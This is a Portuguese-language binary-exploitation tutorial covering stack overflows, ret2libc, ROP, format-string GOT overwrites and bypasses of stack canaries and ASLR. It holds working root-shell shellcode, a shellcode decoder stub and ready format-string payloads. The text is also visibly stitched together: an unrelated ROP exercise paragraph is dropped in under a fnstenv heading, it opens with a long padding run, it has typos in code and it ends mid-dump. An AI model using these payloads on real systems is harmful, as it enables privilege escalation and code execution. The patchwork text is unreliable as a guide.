AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
O objetivo deste exercício é explorar uma vulnerabilidade de estouro de pilha básica em um programa Linux. Vamos usar uma técnica conhecida como "Return-Oriented Programming" (ROP) para desviar o fluxo de execução do programa e executar nosso próprio código.
Neste exercício, você encontrará um programa chamado vuln
que possui uma vulnerabilidade de estouro de pilha. Seu objetivo é explorar essa vulnerabilidade para obter acesso ao shell do sistema.
O programa vuln
possui uma função vulnerable_function
que copia dados de entrada para um buffer sem verificar o tamanho. Isso permite que um atacante insira mais dados do que o buffer pode armazenar, resultando em um estouro de pilha.
Seu objetivo é explorar essa vulnerabilidade para executar o código shellcode
fornecido. O shellcode
é um código assembly que executa um shell do sistema. Você precisará encontrar o endereço de retorno correto na pilha para redirecionar o fluxo de execução para o shellcode
.
Para facilitar o exercício, fornecemos um arquivo exploit.py
que gera automaticamente o payload necessário para explorar a vulnerabilidade. Você pode executar o exploit usando o seguinte comando:
python exploit.py | ./vuln
Se tudo correr bem, você deverá obter um shell do sistema e poderá executar comandos no contexto do programa vuln
.
Lembre-se de que este exercício é apenas para fins educacionais e deve ser realizado em um ambiente controlado. Não é ético explorar vulnerabilidades em sistemas sem permissão.
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Hunter:
Consiste em um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode armazenada lá (procura por alguma assinatura presente na shellcode). Útil nos casos em que há apenas um pequeno espaço para injetar código.
Shellcodes polimórficos
São shells criptografadas que possuem um pequeno código que as descriptografa e salta para ele, usando o truque Call-Pop. Aqui está um exemplo de criptografia de César:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
- Atacando o Frame Pointer (EBP)
Útil em uma situação em que podemos modificar o EBP, mas não o EIP.
Sabe-se que ao sair de uma função, o seguinte código assembly é executado:
movl %ebp, %esp
popl %ebp
ret
De esta forma, se pode modificar o EBP ao sair de uma função (fvuln) que foi chamada por outra função, quando a função que chamou fvuln terminar, seu EIP pode ser modificado.
Em fvuln, é possível inserir um EBP falso que aponta para um local onde está o endereço do shellcode + 4 (é necessário adicionar 4 devido ao pop). Assim, ao sair da função, o valor de &(&Shellcode)+4 será colocado em ESP, com o pop, 4 será subtraído de ESP e ele apontará para o endereço do shellcode quando o ret for executado.
Exploit:
&Shellcode + "AAAA" + SHELLCODE + preenchimento + &(&Shellcode)+4
Exploit Off-by-One
Apenas o byte menos significativo do EBP pode ser modificado. Um ataque semelhante ao anterior pode ser realizado, mas a memória que armazena o endereço do shellcode deve compartilhar os 3 primeiros bytes com o EBP.
4. Métodos return to Libc
Método útil quando o stack não é executável ou deixa um buffer muito pequeno para ser modificado.
O ASLR faz com que, a cada execução, as funções sejam carregadas em posições diferentes da memória. Portanto, esse método pode não ser eficaz nesse caso. Para servidores remotos, como o programa está sendo executado constantemente no mesmo endereço, pode ser útil.
- cdecl (C declaration) Coloca os argumentos no stack e, ao sair da função, limpa o stack
- stdcall (standard call) Coloca os argumentos no stack e é a função chamada que limpa o stack
- fastcall Coloca os dois primeiros argumentos em registradores e o restante no stack
É colocado o endereço da instrução system da libc e é passada como argumento a string "/bin/sh", normalmente de uma variável de ambiente. Além disso, é usado o endereço da função exit para que, uma vez que a shell não seja mais necessária, o programa saia sem problemas (e escreva logs).
export SHELL=/bin/sh
Para encontrar os endereços necessários, pode-se olhar dentro do GDB:
p system
p exit
rabin2 -i executável —> Fornece o endereço de todas as funções usadas pelo programa ao ser carregado
(Dentro de um start ou algum breakpoint): x/500s $esp —> Procuramos aqui a string /bin/sh
Uma vez que tenhamos esses endereços, o exploit ficaria assim:
"A" * DISTÂNCIA EBP + 4 (EBP: podem ser 4 "A"s, embora seja melhor se for o EBP real para evitar falhas de segmentação) + Endereço do system (sobrescreverá o EIP) + Endereço do exit (ao sair de system("/bin/sh"), essa função será chamada, pois os primeiros 4 bytes do stack são tratados como o próximo endereço do EIP a ser executado) + Endereço de "/bin/sh" (será o parâmetro passado para system)
Dessa forma, o EIP será sobrescrito com o endereço do system, que receberá a string "/bin/sh" como parâmetro, e ao sair dele, a função exit() será executada.
É possível encontrar a situação em que algum byte de algum endereço de alguma função seja nulo ou espaço (\x20). Nesse caso, é possível desmontar os endereços anteriores a essa função, pois provavelmente haverá vários NOPs que nos permitirão chamar um deles em vez da função diretamente (por exemplo, com > x/8i system-4).
Esse método funciona porque, ao chamar uma função como system usando o opcode ret em vez de call, a função entende que os primeiros 4 bytes serão o endereço EIP para retornar.
Uma técnica interessante com esse método é chamar strncpy() para mover um payload do stack para o heap e, em seguida, usar gets() para executar esse payload.
Outra técnica interessante é o uso de mprotect(), que permite atribuir as permissões desejadas a qualquer parte da memória. Funciona ou funcionava no BDS, MacOS e OpenBSD, mas não no Linux (controla que não seja possível conceder permissões de gravação e execução ao mesmo tempo). Com esse ataque, seria possível reconfigurar o stack como executável.
Encadeamento de funções
Com base na técnica anterior, essa forma de exploit consiste em:
Preenchimento + &Função1 + &pop;ret; + &arg_fun1 + &Função2 + &pop;ret; + &arg_fun2 + ...
Dessa forma, é possível encadear funções para chamar. Além disso, se você quiser usar funções com vários argumentos, pode colocar os argumentos necessários (por exemplo, 4) e colocar os 4 argumentos e procurar um endereço com opcodes: pop, pop, pop, pop, ret —> objdump -d executável
Encadeamento por falsificação de frames (encadeamento de EBPs)
Consiste em aproveitar a capacidade de manipular o EBP para encadear a execução de várias funções por meio do EBP e do "leave;ret"
PREENCHIMENTO
- Colocamos no EBP um EBP falso que aponta para: 2º EBP_falso + a função a ser executada: (&system() + &leave;ret + &"/bin/sh")
- No EIP, colocamos como endereço uma função &(leave;ret)
Iniciamos o shellcode com o endereço da próxima parte do shellcode, por exemplo: 2ºEBP_falso + &system() + &(leave;ret;) + &"/bin/sh"
o 2ºEBP seria: 3ºEBP_falso + &system() + &(leave;ret;) + &"/bin/ls"
Esse shellcode pode ser repetido indefinidamente nas partes da memória às quais se tem acesso, de modo que um shellcode facilmente divisível em pequenos pedaços de memória seja obtido.
(A execução de funções é encadeada misturando as vulnerabilidades vistas anteriormente de EBP e ret2lib)
5. Métodos complementares
Ret2Ret
Útil quando não é possível inserir um endereço de stack no EIP (verifica-se que o EIP não contém 0xbf) ou quando não é possível calcular a localização do shellcode. No entanto, a função vulnerável aceita um parâmetro (o shellcode será colocado aqui).
Dessa forma, ao alterar o EIP por um endereço de ret, o próximo endereço será carregado (que é o endereço do primeiro argumento da função). Ou seja, o shellcode será carregado.
O exploit ficaria assim: SHELLCODE + Preenchimento (até o EIP) + &ret (os próximos bytes da pilha apontam para o início do shellcode, pois o endereço do parâmetro passado é inserido na pilha)
Parece que funções como strncpy, uma vez concluídas, removem da pilha o endereço onde o shellcode estava armazenado, impossibilitando essa técnica. Ou seja, o endereço passado para a função como argumento (aquele que armazena o shellcode) é modificado para 0x00, então, ao chamar o segundo ret, ele encontra um 0x00 e o programa falha.
**Ret2PopRet**
Se não tivermos controle sobre o primeiro argumento, mas tivermos sobre o segundo ou terceiro, podemos sobrescrever o EIP com um endereço de pop-ret ou pop-pop-ret, dependendo do que precisamos.
Técnica de Murat
No Linux, todos os programas são mapeados a partir de 0xbfffffff.
Ao observar como a pilha de um novo processo é construída no Linux, podemos desenvolver um exploit de forma que o programa seja iniciado em um ambiente onde a única variável seja a shellcode. O endereço dela pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME_do_executável_completo) - strlen(shellcode)
Dessa forma, obteríamos facilmente o endereço onde está a variável de ambiente com a shellcode.
Isso é possível porque a função execle permite criar um ambiente que contenha apenas as variáveis de ambiente desejadas.
Jump to ESP: Estilo Windows
Como o ESP está sempre apontando para o início da pilha, essa técnica consiste em substituir o EIP pelo endereço de uma chamada a jmp esp ou call esp. Dessa forma, a shellcode é armazenada após a sobrescrita do EIP, pois após a execução do ret, o ESP estará apontando para o próximo endereço, exatamente onde a shellcode foi armazenada.
Caso o ASLR não esteja ativado no Windows ou Linux, é possível chamar jmp esp ou call esp armazenados em algum objeto compartilhado. Caso o ASLR esteja ativado, é possível procurar dentro do próprio programa vulnerável.
Além disso, o fato de poder colocar a shellcode após a corrupção do EIP, em vez de no meio da pilha, permite que as instruções push ou pop executadas no meio da função não afetem a shellcode (o que poderia ocorrer se ela estivesse no meio da pilha da função).
De forma muito semelhante a isso, se soubermos que uma função retorna o endereço onde a shellcode está armazenada, podemos chamar call eax ou jmp eax (ret2eax).
ROP (Return Oriented Programming) ou trechos de código emprestados
Os trechos de código invocados são conhecidos como gadgets.
Essa técnica consiste em encadear diferentes chamadas de funções usando a técnica ret2libc e o uso de pop,ret.
Em algumas arquiteturas de processadores, cada instrução é um conjunto de 32 bits (como o MIPS, por exemplo). No entanto, na Intel, as instruções têm tamanho variável e várias instruções podem compartilhar um conjunto de bits, por exemplo:
movl $0xe4ff, -0x(%ebp) —> Contém os bytes 0xffe4, que também podem ser traduzidos como: jmp *%esp
Dessa forma, é possível executar algumas instruções que nem mesmo estão no programa original.
ROPgadget.py nos ajuda a encontrar valores em binários.
Este programa também serve para criar os payloads. Você pode fornecer a biblioteca da qual deseja extrair os ROPs e ele gerará um payload em Python, para o qual você fornece o endereço onde a biblioteca está e o payload está pronto para ser usado como shellcode. Além disso, como ele usa chamadas de sistema, ele não executa nada na pilha, apenas vai armazenando endereços de ROPs que serão executados por meio de ret. Para usar esse payload, é necessário chamar o payload por meio de uma instrução ret.
Integer overflows
Esse tipo de overflow ocorre quando uma variável não está preparada para suportar um número tão grande quanto o que é passado para ela, possivelmente devido a uma confusão entre variáveis com e sem sinal, por exemplo:
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
No exemplo anterior, vemos que o programa espera 2 parâmetros. O primeiro é o comprimento da próxima string e o segundo é a própria string.
Se passarmos um número negativo como primeiro parâmetro, será verificado que len < 256 e esse filtro será ultrapassado. Além disso, strlen(buffer) será menor que l, pois l é um unsigned int e será muito grande.
Esse tipo de overflow não busca escrever algo no processo do programa, mas sim contornar filtros mal projetados para explorar outras vulnerabilidades.
Variáveis não inicializadas
Não se sabe o valor que uma variável não inicializada pode assumir e pode ser interessante observá-la. Pode ser que ela assuma o valor que uma variável da função anterior assumia e que essa variável seja controlada pelo atacante.
Format Strings
Em C, printf
é uma função que pode ser usada para imprimir uma string. O primeiro parâmetro que essa função espera é o texto bruto com os formatadores. Os parâmetros seguintes esperados são os valores que serão substituídos nos formatadores do texto bruto.
A vulnerabilidade ocorre quando um texto do atacante é colocado como o primeiro argumento dessa função. O atacante será capaz de criar uma entrada especial abusando das capacidades de formatação do printf para escrever qualquer dado em qualquer endereço. Dessa forma, ele poderá executar código arbitrário.
Formadores:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
%n
escreve o número de bytes escritos no endereço indicado. Escrever** tantos bytes** quanto o número hexadecimal que precisamos escrever é como você pode escrever qualquer dado.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
GOT (Tabela de Deslocamentos Globais) / PLT (Tabela de Ligação de Procedimentos)
Esta é a tabela que contém o endereço das funções externas usadas pelo programa.
Obtenha o endereço desta tabela com: objdump -s -j .got ./exec
Observe como, após carregar o executável no GEF, você pode ver as funções que estão na GOT: gef➤ x/20x 0xDIR_GOT
Usando o GEF, você pode iniciar uma sessão de depuração e executar got
para ver a tabela got:
Em um binário, a GOT tem os endereços das funções ou da seção PLT que carregará o endereço da função. O objetivo deste exploit é substituir a entrada da GOT de uma função que será executada posteriormente pelo endereço da PLT da função system
. Idealmente, você irá substituir a GOT de uma função que será chamada com parâmetros controlados por você (assim você poderá controlar os parâmetros enviados para a função do sistema).
Se system
não for usada pelo script, a função do sistema não terá uma entrada na GOT. Nesse cenário, você precisará vazar primeiro o endereço da função system
.
A Tabela de Ligação de Procedimentos é uma tabela somente leitura no arquivo ELF que armazena todos os símbolos necessários que precisam de resolução. Quando uma dessas funções é chamada, a GOT redirecionará o fluxo para a PLT para que ela possa resolver o endereço da função e gravá-lo na GOT.
Em seguida, na próxima vez que uma chamada for feita para esse endereço, a função será chamada diretamente sem precisar resolvê-la.
Você pode ver os endereços da PLT com objdump -j .plt -d ./vuln_binary
Fluxo de Exploração
Como explicado anteriormente, o objetivo será sobrescrever o endereço de uma função na tabela GOT que será chamada posteriormente. Idealmente, poderíamos definir o endereço para um shellcode localizado em uma seção executável, mas é altamente provável que você não consiga escrever um shellcode em uma seção executável.
Então, uma opção diferente é sobrescrever uma função que recebe seus argumentos do usuário e apontá-la para a função system
.
Para escrever o endereço, geralmente são feitos 2 passos: você primeiro escreve 2 bytes do endereço e depois os outros 2. Para fazer isso, é usado $hn
.
HOB é usado para os 2 bytes mais altos do endereço
LOB é usado para os 2 bytes mais baixos do endereço
Portanto, devido à forma como a string de formatação funciona, você precisa escrever primeiro o menor entre [HOB, LOB] e depois o outro.
Se HOB < LOB
[endereço+2][endereço]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Se HOB > LOB
[endereço+2][endereço]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`
Modelo de Exploração de String de Formatação
Você pode encontrar um modelo para explorar a GOT usando strings de formatação aqui:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
.fini_array
Essencialmente, esta é uma estrutura com funções que serão chamadas antes do programa terminar. Isso é interessante se você puder chamar seu shellcode apenas pulando para um endereço, ou em casos em que você precisa voltar para o main novamente para explorar a string de formatação uma segunda vez.
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
Observe que isso não criará um loop eterno porque quando você voltar para o principal, o canário perceberá, o final da pilha pode estar corrompido e a função não será chamada novamente. Portanto, com isso, você poderá ter mais uma execução da vulnerabilidade.
Format Strings para Extrair Conteúdo
Uma string de formato também pode ser abusada para extrair conteúdo da memória do programa.
Por exemplo, na seguinte situação, há uma variável local na pilha apontando para uma flag. Se você encontrar onde na memória o ponteiro para a flag está, você pode fazer com que o printf acesse esse endereço e imprima a flag:
Então, a flag está em 0xffffcf4c
E a partir do vazamento, você pode ver que o ponteiro para a flag está no 8º parâmetro:
Portanto, acessando o 8º parâmetro, você pode obter a flag:
Observe que, seguindo a exploit anterior e percebendo que você pode vazar conteúdo, você pode definir ponteiros para o printf
na seção onde o executável é carregado e extrair tudo completamente!
DTOR
{% hint style="danger" %} Hoje em dia é muito raro encontrar um binário com uma seção dtor. {% endhint %}
Os destrutores são funções que são executadas antes do programa terminar.
Se você conseguir escrever um endereço para um shellcode em __DTOR_END__
, isso será executado antes do programa terminar.
Obtenha o endereço desta seção com:
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
Normalmente você encontrará a seção DTOR entre os valores ffffffff
e 00000000
. Portanto, se você apenas ver esses valores, significa que não há nenhuma função registrada. Portanto, sobrescreva o 00000000
com o endereço do shellcode para executá-lo.
Strings de Formato para Estouro de Buffer
O sprintf move uma string formatada para uma variável. Portanto, você pode abusar da formatação de uma string para causar um estouro de buffer na variável para onde o conteúdo é copiado.
Por exemplo, a carga útil %.44xAAAA
irá escrever 44B+"AAAA" na variável, o que pode causar um estouro de buffer.
Estruturas __atexit
{% hint style="danger" %} Atualmente é muito incomum explorar isso. {% endhint %}
atexit()
é uma função para a qual outras funções são passadas como parâmetros. Essas funções serão executadas ao executar um exit()
ou o retorno do main.
Se você puder modificar o endereço de qualquer uma dessas funções para apontar para um shellcode, por exemplo, você obterá o controle do processo, mas isso é atualmente mais complicado.
Atualmente, os endereços das funções a serem executadas estão ocultos por várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas estão criptografados com XOR e deslocamentos com uma chave aleatória. Portanto, atualmente esse vetor de ataque não é muito útil, pelo menos em x86 e x64_86.
A função de criptografia é PTR_MANGLE
. Outras arquiteturas como m68k, mips32, mips64, aarch64, arm, hppa... não implementam a função de criptografia porque retornam o mesmo que receberam como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
setjmp() & longjmp()
{% hint style="danger" %} Atualmente é muito incomum explorar isso. {% endhint %}
Setjmp()
permite salvar o contexto (os registradores)
longjmp()
permite restaurar o contexto.
Os registradores salvos são: EBX, ESI, EDI, ESP, EIP, EBP
O que acontece é que EIP e ESP são passados pela função PTR_MANGLE
, então as arquiteturas vulneráveis a esse ataque são as mesmas mencionadas acima.
Eles são úteis para recuperação de erros ou interrupções.
No entanto, pelo que li, os outros registradores não estão protegidos, então se houver um call ebx
, call esi
ou call edi
dentro da função chamada, o controle pode ser assumido. Ou também é possível modificar EBP para modificar ESP.
VTable e VPTR em C++
Cada classe tem uma Vtable, que é uma matriz de ponteiros para métodos.
Cada objeto de uma classe tem um VPtr, que é um ponteiro para a matriz de sua classe. O VPtr faz parte do cabeçalho de cada objeto, então se for alcançada uma sobrescrita do VPtr, ele pode ser modificado para apontar para um método fictício, de modo que a execução de uma função vá para o shellcode.
Medidas Preventivas e Evasões
ASLR não tão aleatório
O PaX divide o espaço de endereços do processo em 3 grupos:
Código e dados iniciados e não iniciados: .text, .data e .bss -> 16 bits de entropia na variável delta_exec, essa variável é iniciada aleatoriamente a cada processo e é adicionada aos endereços iniciais.
Memória alocada por mmap() e bibliotecas compartilhadas -> 16 bits, delta_mmap
A pilha -> 24 bits, delta_stack -> Na verdade, 11 (do byte 10º ao 20º inclusive) -> alinhado em 16 bytes -> 524.288 possíveis endereços reais da pilha
As variáveis de ambiente e os argumentos se deslocam menos que um buffer na pilha.
Return-into-printf
É uma técnica para transformar um estouro de buffer em um erro de string de formato. Consiste em substituir o EIP para que aponte para um printf da função e passar uma string de formato manipulada como argumento para obter valores sobre o estado do processo.
Ataque a bibliotecas
As bibliotecas estão em uma posição com 16 bits de aleatoriedade = 65636 possíveis endereços. Se um servidor vulnerável chamar o fork(), o espaço de endereços de memória é clonado no processo filho e permanece intacto. Portanto, é possível tentar fazer uma força bruta na função usleep() da libc passando "16" como argumento, de modo que, quando ela demorar mais do que o normal para responder, essa função será encontrada. Sabendo onde está essa função, é possível obter o delta_mmap e calcular os outros.
A única maneira de ter certeza de que o ASLR funciona é usando uma arquitetura de 64 bits. Lá, não há ataques de força bruta.
StackGuard e StackShield
StackGuard insere antes do EIP -> 0x000aff0d(null, \n, EndOfFile(EOF), \r) -> Ainda são vulneráveis recv(), memcpy(), read(), bcoy() e não protege o EBP
StackShield é mais elaborado que o StackGuard
Ele armazena em uma tabela (Global Return Stack) todos os endereços de retorno do EIP para que o estouro de buffer não cause nenhum dano. Além disso, os dois endereços podem ser comparados para verificar se houve um estouro de buffer.
Também é possível verificar o endereço de retorno com um valor limite, então, se o EIP for para um local diferente do habitual, como o espaço de dados, será conhecido. Mas isso pode ser contornado com Ret-to-lib, ROPs ou ret2ret.
Como pode ser visto, o stackshield também não protege as variáveis locais.
Stack Smash Protector (ProPolice) -fstack-protector
O canário é colocado antes do EBP. Ele reorganiza as variáveis locais para que os buffers estejam nas posições mais altas e, assim, não possam sobrescrever outras variáveis.
Além disso, faz uma cópia segura dos argumentos passados acima da pilha (acima das vars locais) e usa essas cópias como argumentos.
Não pode proteger matrizes com menos de 8 elementos ou buffers que fazem parte de uma estrutura do usuário.
O canário é um número aleatório retirado de "/dev/urandom" ou, se não for possível, é 0xff0a0000. Ele é armazenado em TLS (Thread Local Storage). As threads compartilham o mesmo espaço de memória, o TLS é uma área que possui variáveis globais ou estáticas de cada thread. No entanto, em princípio, essas são copiadas do processo pai, embora o processo filho possa modificar esses dados sem modificar os do pai ou dos outros filhos. O problema é que, se o fork() for usado, mas um novo canário não for criado, todos os processos (pai e filhos) usarão o mesmo canário. No i386, ele é armazenado em gs:0x14 e no x86_64, ele é armazenado em fs:0x28.
Essa proteção localiza funções que possuem buffers que podem ser atacados e inclui código no início da função para colocar o canário e código no final para verificá-lo. A função fork() cria uma cópia exata do processo pai, por isso, se um servidor web chamar o fork(), é possível realizar um ataque de força bruta byte a byte para descobrir o canary que está sendo utilizado.
Se a função execve() for usada após o fork(), o espaço será sobrescrito e o ataque não será mais possível. O vfork() permite executar o processo filho sem criar uma duplicata até que o processo filho tente escrever, momento em que a duplicata é criada.
Relocation Read-Only (RELRO)
Relro
Relro (Read only Relocation) afeta as permissões de memória de forma semelhante ao NX. A diferença é que, enquanto o NX torna a pilha executável, o RELRO torna certas coisas somente leitura, impedindo que possamos escrever nelas. A maneira mais comum de encontrar esse obstáculo é impedindo que façamos uma sobrescrita da tabela got
, que será abordada posteriormente. A tabela got
armazena endereços de funções da libc para que o binário saiba quais são os endereços e possa chamá-los. Vamos ver como ficam as permissões de memória para uma entrada da tabela got
em um binário com e sem relro.
Com relro:
gef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
